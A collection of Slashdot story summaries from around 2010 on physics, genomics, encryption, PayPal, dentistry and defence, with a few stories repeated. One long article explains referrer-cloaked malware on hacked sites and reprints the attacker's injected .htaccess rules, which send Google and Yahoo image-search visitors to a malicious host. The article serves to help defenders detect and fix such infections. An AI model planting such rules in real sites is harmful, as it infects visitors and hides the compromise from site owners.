New Bounds On the Higgs Boson Mass
As the LHC continues to run at half power for the next year+, the US-based Tevatron continues to crank out results. Reader hweimer writes "Three new papers in Physical Review Letters present the latest results for the Higgs boson mass coming from Fermilab's Tevatron. The new data mandates that the Higgs boson mass within the standard model lies between 115 and 150 GeV." A year back we discussed the Tevatron's previous shrinking of the search space for the Higgs "God particle." -
Greenlander's DNA Sequenced, After 5,000 Years
TinFinger writes "The genome of a 5,000-year-old man from Greenland has been sequenced from scalp hair remains. He belonged to the now-extinct Saqqaq, who are genetically more closely related to east Asians than to contemporary Native North Americans. Although both contemporary Inuit and the extinct Saqqaq migrated from Siberia across the Bering Straits, the Saqqaq migration was a much later one (5,000-10,000 years ago, compared with 20,000 for the Inuit). All that is left of the Saqqaq today are a few archaeological sites in Greenland. Genetic analysis revealed that 'Inuk' was stocky, possibly with a receding hairline, had a cold-adapted metabolism, A+ blood type, and possibly a rather bad haircut. The hair sample from which the DNA was sequenced was excavated in 1986 and was archived at the National Museum of Denmark. It was only recently rediscovered by a research team who spent a fruitless three months at Saqqaq sites looking for hair samples for genome analysis." -
How To Replace FileVault With EncFS
agoston.horvath writes "I've written a HOWTO on replacing Mac OS X's built-in encryption (FileVault) with the well-known FUSE-based EncFS. It worked well for me, and most importantly: it is a lot handier than what Apple has put together. This is especially useful if you are using a backup solution like Time Machine. Includes Whys, Why Nots, and step-by-step instructions." -
Overzealous Enforcement Means Even Legit Music Blogs Deleted
AnotherUsername writes "Recently, many [Google-hosted] music blogs were deleted for hosting mp3s of songs by various artists. The problem? The music blogs in question had been given permission to host the songs, and often, the older links to mp3s were often broken intentionally by the bloggers in order to save bandwidth. From the article: 'You're reading this right: Five years of Lipold's labor of love was deleted, in part, because he posted a track with full permission of a label, and the track apparently wasn't even online by the time the IFPI filed its complaint.'" -
Gov't Proposes "National Climate Service" For the US
Standing Bear writes "NPR reports that 140 years after the creation of the National Weather Service, the US government is proposing the creation of a similar service that will provide long-term projections of how climate will change. 'We are actually getting millions of requests a year already about: How should coastal cities plan for sea-level rise? How should various other agencies in the federal government or in state governments make plans for everything from roads to managing water supplies?' says NOAA Administrator Dr. Jane Lubchenco. 'And a lot of that is going to be changing as the climate changes.' Under the plan, the new NOAA Climate Service would incorporate some of the agency's existing laboratories and research programs, including the National Climatic Data Center, the Geophysical Fluid Dynamics Laboratory and the National Weather Service's Historical Climate Network. Meanwhile, as plans for the new climate service shape up, NOAA launched a new Web site, climate.gov, designed to provide access to a wide range of climate information." -
HP's New Data Center Cooled By Glacial Wind
Arvisp writes with this snippet about HP's recently completed datacenter in northeast England, which utilizes the glacial wind blowing off the North Sea to lower temperatures of IT equipment and plant rooms: "The Wynyard takes in the cool air, filters it accordingly and collects it in the management system and is then forced over the front of the server racks before it is exhausted. The result is a hall with a constant temperature of 24C. When the winds become even colder than usual, the exhausted heat is mixed with the outside air to maintain temperatures." -
India Suspended From PayPal For "At Least a Few Months"
More details have come about about what was behind PayPal's decision to suspend personal payments to any user in India, as we discussed on Sunday. In a blog post today, PayPal revealed that payments to India will remain in suspension for at least a few months. Customers in India will be able to pull rupees out of the service into their bank accounts within a few days. The suspension came about when Indian government regulators raised questions about whether PayPal's service was enabling remittances (transfers of money by foreign workers) to Indian citizens. "The problems may have been triggered by a marketing push that promotes PayPal as a way to send money abroad, a source familiar with the matter said. The campaign — which reads 'As low as $1.50 to send $300 to countries like India' — may have caught the attention of Indian regulators, the source said." -
How Do You Accurately Estimate Programming Time?
itwbennett writes "It can take a fairly stable team of programmers as long as six months to get to a point where they're estimating programming time fairly close to actuals, says Suvro Upadhyaya, a Senior Software Engineer at Oracle. Accurately estimating programming time is a process of defining limitations, he says. The programmers' experience, domain knowledge, and speed vs. quality all come into play, and it is highly dependent upon the culture of the team/organization. Upadhyaya uses Scrum to estimate programming time. How do you do it?" -
Plasma Jets Could Replace Dental Drills
Hugh Pickens writes "The first electric dental drill was patented in 1875; modern drills grind the diseased portions of teeth away at up to 500,000 rpm. But dentists have been seeking less invasive ways of wiping out stubborn, tooth-decaying bacteria. Now Live Science reports that bacteria-killing jets of plasma could soon replace the drills used to treat cavities in our teeth. Researchers recently demonstrated that a small, blowtorch-like device emitting a relatively cool beam of purple plasma could eliminate oral bacteria in cavities, leaving more tooth structure intact than a drill does. To test how well 'cold' plasma jets (about 100F or 38C) sterilize tooth material, researchers took slices of dentin from extracted human molars, doused them with bacteria, and torched them with the plasma jet. An inspection via a scanning electron microscope of the damage done to the germs shows bacterial remnants had holes in their cell walls. When the plasma jet fires, it charges oxygen in the surrounding air, creating highly reactive molecules that can break down the bacteria's defenses. Researchers believe the technique could be available to general dentistry in three to five years." -
Israeli Scientists Freeze Water By Warming It
ccktech writes "As reported by NPR and Chemistry world, the journal Science has a paper by David Ehre, Etay Lavert, Meir Lahav, and Igor Lubomirsky [note: abstract online; payment required to read the full paper] of Israel's Weizmann Institute, who have figured out a way to freeze pure water by warming it up. The trick is that pure water has different freezing points depending on the electrical charge of the surface it resides on. They found out that a negatively charged surface causes water to freeze at a lower temperature than a positively charged surface. By putting water on the pyroelectric material Lithium Tantalate, which has a negative charge when cooler but a positive change when warmer; water would remain a liquid down to -17 degrees C., and then freeze when the substrate and water were warmed up and the charge changed to positive, where water freezes at -7 degrees C." -
Israeli Scientists Freeze Water By Warming It
ccktech writes "As reported by NPR and Chemistry world, the journal Science has a paper by David Ehre, Etay Lavert, Meir Lahav, and Igor Lubomirsky [note: abstract online; payment required to read the full paper] of Israel's Weizmann Institute, who have figured out a way to freeze pure water by warming it up. The trick is that pure water has different freezing points depending on the electrical charge of the surface it resides on. They found out that a negatively charged surface causes water to freeze at a lower temperature than a positively charged surface. By putting water on the pyroelectric material Lithium Tantalate, which has a negative charge when cooler but a positive change when warmer; water would remain a liquid down to -17 degrees C., and then freeze when the substrate and water were warmed up and the charge changed to positive, where water freezes at -7 degrees C." -
Craig Mundie Wants "Internet Driver's Licenses"
I Don't Believe in Imaginary Property writes "Craig Mundie, Microsoft's Chief Research and Strategy Officer, called for the creation of an 'Internet Driver's License' at the World Economic Forum in Davos, saying, 'If you want to drive a car you have to have a license to say that you are capable of driving a car, the car has to pass a test to say it is fit to drive and you have to have insurance.' Of course, there are quite a few problems with this. For starters, internet use cannot yet cause death or dismemberment like car accidents can; and this would get rid of most of the good of internet anonymity while retaining all of the bad parts, especially in terms of expanding the market for stolen identities. Even though telephone networks have long been used by scammers and spammers/telemarketers, we've never needed a 'Telephone Driver's License.'" -
Image Searchers Snared By Malware
Slashdot frequent contributor Bennett Haselton writes "Sites that have been hacked by malware writers are now serving infected content only when the visitor views the site through a frame on Google Images. This recent twist on a standard trick used by malware writers, makes it harder for webmasters and hosting companies to discover that their sites have been infected. Automated tools that check websites for infections and training procedures for hosting company abuse-department staffers will have to be updated accordingly." Read on for the rest of Bennett's thoughts.A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?
It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.comthen the normal page would be returned. But if you entered these commands:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.
(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:
GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)
Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)
Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)
Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.
This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)
Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4¶meter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)
It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.
But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.
And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?
-
Android and the Linux Kernel Community
An anonymous reader links to Greg Kroah-Hartman's explanation of a rift (hopefully mendable) in the development culture of Google's Linux-based Android OS and the Linux kernel itself. "As the Android kernel code is now gone from the Linux kernel, as of the 2.6.33 kernel release, I'm starting to get a lot of questions about what happened, and what to do next with regards to Android. So here's my opinion on the whole matter ..." -
NASA Picks 5 Firms To Work On LEO Tech
Gary W. Longsine writes "Five contracts have been awarded by NASA today, to firms exploring different aspects of the effort to develop a private launch industry for people to low earth orbit. Today's winners include: Sierra Nevada Corp (aka 'SpaceDev') for the Dream Chaser; Boeing in cooperation with Bigelow on a capsule design; United Launch Alliance (Boeing and Lockheed Martin) to explore safety issues related to upgrading Atlas and Delta rockets to human flight safety standards; Blue Origin to build a launch escape system; and Paragon Space Development Corp for 'air vitalization' (aka life support). Will the forecast $6 Billion allocation over five years be enough to inspire private industry to develop not one, but two human rated launch systems (a capsule, and the lifting body Dream Chaser)? NASA clearly wants competition in the private market, so they seek more than one vendor." -
Mozilla Accepts Chinese CNNIC Root CA Certificate
Josh Triplett writes "Last October, Mozilla accepted the China Internet Network Information Center as a trusted CA root (Bugzilla entry). This affects Firefox, Thunderbird, and other products built on Mozilla technologies. The standard period for discussion passed without comment, and Mozilla accepted CNNIC based on the results of a formal audit. Commenters in the bug report and the associated discussion have presented evidence that the Chinese government controls CNNIC, and surfaced claims of malware production and distribution and previous man-in-the-middle attacks in China via their secondary CA root from Entrust. As usual, please refrain from blindly chiming into the discussion without supporting evidence. Since Mozilla has already accepted CNNIC as a trusted root CA, the burden rests with those who argue for its removal." -
Gaining Root Access On Linux-Based Femtocells
viralMeme writes "According to the Register, 'Security researchers have turned their attention to femtocells, and have discovered that gaining root on the tiny mobile base stations isn't as hard as one might hope.' One of the researchers said, 'After hours of sniffing traffic, changing IP address ranges, guessing passwords and investigating hardware pinouts, we had obtained root access on these Linux-based cellular-based devices, which piqued our curiosity [about] the security implications.' Whoever designed these devices should be sent back to computer school. An authentication device that can be bypassed is a contradiction in terms. Or, as some pen-pusher would put it in a report: an unantipicated security excursion. -
US Missile Defense Test Fails
KingRobot sends news that a recent test of a US missile defense system has failed. The test of the Groundbased Midcourse Defense interceptor apparently had a problem with the sea-based X-band radar. Both the target missile, launched from the Pacific, and the interceptor, launched from California, performed as expected. "Yesterday's test was intended to quell doubters of the entire missile-defense approach, with the target missile deploying countermeasures. Critics of the GMD programme say that tests thus far, which have not included such spoilers, have been too kind to the intercept tech. The [military] isn't disclosing whether the intercepting kill vehicle had simply failed to reach the 'threat cluster' of warhead(s) and decoys, or whether it had reached the cluster but hit a countermeasure rather than the actual target." -
Astronomers Discover the Coolest Known Sub-Stellar Body
Hugh Pickens writes "Science Daily reports that using the United Kingdom Infrared Telescope (UKIRT) in Hawaii, astronomers have discovered what may be the coolest sub-stellar body ever found outside our own solar system. Too small to be stars and with insufficient mass to maintain hydrogen-burning nuclear fusion reactions in their cores, 'brown dwarfs' have masses smaller than stars but larger than gas giant planets like Jupiter, with an upper limit in between 75 and 80 Jupiter masses. 'This looks like the fourth time in three years that the UKIRT has made a record breaking discovery of the coolest known brown dwarf, with an estimated temperature not far above 200 degrees Celsius,' says Dr. Philip Lucas at the University of Hertfordshire. Due to their low temperature these objects are very faint in visible light, and are detected by their glow at infrared wavelengths. The object known as SDSS1416+13B is in a wide orbit around a somewhat brighter and warmer brown dwarf, SDSS1416+13A, and the pair is located between 15 and 50 light years from the solar system, which is quite close in astronomical terms." -
Making It Hard For Extraterrestrials To Hear Us
quaith writes "US astronomer Frank Drake has told scientists at a special SETI meeting in London that earthlings are making it less likely that we will be heard in space. In the past, we used huge ground stations to broadcast radio and television signals which could be picked up relatively easily — according to astronomers' calculations anyway. Now we use satellites that transmit at 75 watts and point toward Earth instead of into space. In addition, we've switched to digital which makes the transmissions even fainter. Drake has concluded that very soon, in space no one will hear us at all. I guess we'd better keep listening." -
x86 Assembler JWASM Hits Stable Release
Odoital writes "January 2010 is an exciting month for x86 assembly language developers. Software developer Andreas Grech, better known to the x86 assembly language community and the rest of the world by his handle "japheth," has released another version of JWASM — a steadily growing fork of the Open Watcom (WASM) assembler. The main benefit of JWASM, arguably, is the nearly full support of Microsoft's Macro Assembler (MASM) syntax. As those in the assembly language community may already know, Microsoft's desire to continually support the development of MASM has been dwindling over the years — if only measurable by a decreasing lack of interest, updates and bug fixes — and thus the future of MASM remains uncertain. While Intel-style syntax x86 assemblers such as NASM have been around for a while, JWASM opens up a new possibility to those familiar with MASM-style syntax to develop in the domains (i.e. other than Windows) in which assemblers such as NASM currently thrive. JWASM is a welcomed tool that supplements the entire x86 assembly language community and will hopefully, in time, generate new low-level interests and solutions." -
Russian Stealth Fighter Makes Its First Flight
An anonymous reader writes "The long-awaited Russian stealth fighter, codenamed PAK FA or T-50, has had its first test flight today. This Google translation of a Russian article has a photo of the jet. Production is supposed to begin in 2015; the AP reports that India is helping with development. It's reportedly designed to compete with America's F-22 (first flight: 1997). Relatedly, according to Wikipedia, Japan is planning to fly its own stealth fighter, the ATD-X, which we have previously discussed, in 2011." -
Russian Stealth Fighter Makes Its First Flight
An anonymous reader writes "The long-awaited Russian stealth fighter, codenamed PAK FA or T-50, has had its first test flight today. This Google translation of a Russian article has a photo of the jet. Production is supposed to begin in 2015; the AP reports that India is helping with development. It's reportedly designed to compete with America's F-22 (first flight: 1997). Relatedly, according to Wikipedia, Japan is planning to fly its own stealth fighter, the ATD-X, which we have previously discussed, in 2011."